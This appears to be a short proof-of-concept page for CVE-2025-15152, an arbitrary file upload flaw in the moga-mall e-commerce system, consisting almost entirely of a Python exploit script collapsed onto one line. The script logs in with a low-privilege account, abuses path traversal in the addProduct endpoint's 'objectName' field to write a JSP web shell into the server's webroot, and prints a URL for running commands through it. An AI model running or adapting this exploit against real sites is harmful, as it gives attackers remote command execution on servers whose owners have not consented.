CVE-2025-15152 moga-mall 任意文件上传漏洞

import requests import json # CVE-2025-15152 PoC - moga-mall Unrestricted File Upload # Target: moga-mall addProduct endpoint TARGET_URL = "http://target.com" LOGIN_URL = f"{TARGET_URL}/api/login" UPLOAD_URL = f"{TARGET_URL}/pmsProduct/addProduct" # Step 1: Login with low-privilege account login_data = { "username": "attacker", "password": "password123" } session = requests.Session() login_response = session.post(LOGIN_URL, json=login_data) if login_response.status_code != 200: print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Upload malicious file via addProduct # The vulnerable parameter is 'objectName' in the product object malicious_file = "<%@ page contentType='text/html;charset=UTF-8' language='java' %>" malicious_file += "<%Runtime.getRuntime().exec(request.getParameter('cmd'));%>" # Encode as base64 or directly send payload = { "productName": "Test Product", "objectName": "../../webapps/ROOT/shell.jsp", # Path traversal + arbitrary filename "productImage": malicious_file, # Malicious content "description": "Malicious product" } upload_response = session.post(UPLOAD_URL, json=payload) if upload_response.status_code == 200: print("[+] Malicious file uploaded successfully") print(f"[+] Access shell at: {TARGET_URL}/shell.jsp?cmd=whoami") else: print(f"[-] Upload failed: {upload_response.status_code}") print(f"[-] Response: {upload_response.text}")